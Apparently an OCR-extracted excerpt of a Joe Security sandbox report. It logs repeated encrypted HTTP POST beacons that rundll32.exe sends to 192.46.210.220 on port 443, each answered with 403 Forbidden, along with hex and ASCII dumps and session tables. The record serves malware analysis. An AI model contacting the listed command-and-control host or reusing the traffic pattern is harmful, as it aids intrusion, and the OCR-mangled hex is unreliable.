Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:15 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
3321 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be 7 bb ¢5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:22 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:23 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:25 UTC 359

2021-10-28 03:00:26 UTC 364

Session ID Source IP

73 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:26 UTC 364

2021-10-28 03:00:26 UTC 364

2021-10-28 03:00:27 UTC 369

Session ID Source IP

74 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:29 UTC 369

2021-10-28 03:00:29 UTC 369

2021-10-28 03:00:30 UTC 374

Session ID Source IP

75 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:30 UTC 374

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50121

Direction

ouT

ouT

Source Port
50127

Direction
ouT

ouT

Source Port
50129

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:26 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:27 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:30 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:30 UTC 374

2021-10-28 03:00:31 UTC 379

Session ID Source IP

76 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:33 UTC 379

2021-10-28 03:00:33 UTC 379

2021-10-28 03:00:33 UTC 384

Session ID Source IP

7 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:34 UTC 384

2021-10-28 03:00:34 UTC 384

2021-10-28 03:00:35 UTC 389

Session ID Source IP

78 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:37 UTC 389

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50135

Direction

ouT

ouT

Source Port
50137

Direction
ouT

ouT

Source Port
50143

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:31 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e Oa 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27 01890027871 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:33 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:35 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:37 UTC 389

2021-10-28 03:00:37 UTC 394

Session ID Source IP

79 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:38 UTC 394

2021-10-28 03:00:38 UTC 394

2021-10-28 03:00:39 UTC 398

Session ID Source IP

8 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:16 UTC 39

2021-10-28 02:58:16 UTC 40

2021-10-28 02:58:17 UTC 44

Session ID Source IP

80 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:41 UTC 399

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50145

Direction

ouT

ouT

Source Port
49784

Direction
ouT

ouT

Source Port
50151

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:37 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f ch 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:17 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:41 UTC 399

2021-10-28 03:00:41 UTC 403

Session ID Source IP

81 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:42 UTC 404

2021-10-28 03:00:42 UTC 404

2021-10-28 03:00:43 UTC 408

Session ID Source IP

82 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:44 UTC 409

2021-10-28 03:00:44 UTC 409

2021-10-28 03:00:45 UTC 413

Session ID Source IP

83 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:46 UTC 414

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50154

Direction

ouT

ouT

Source Port
50159

Direction
ouT

ouT

Source Port
50162

Direction

ouT

Data

Data Raw: €3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
4998 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:41 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:43 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 la a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z: ]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:45 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:46 UTC 414

2021-10-28 03:00:46 UTC 418

Session ID Source IP

84 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:48 UTC 419

2021-10-28 03:00:48 UTC 419

2021-10-28 03:00:49 UTC 423

Session ID Source IP

85 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:50 UTC 424

2021-10-28 03:00:50 UTC 424

2021-10-28 03:00:50 UTC 428

Session ID Source IP

86 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:52 UTC 429

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50167

Direction

ouT

ouT

Source Port
50170

Direction
ouT

ouT

Source Port
50174

Direction

ouT

Data

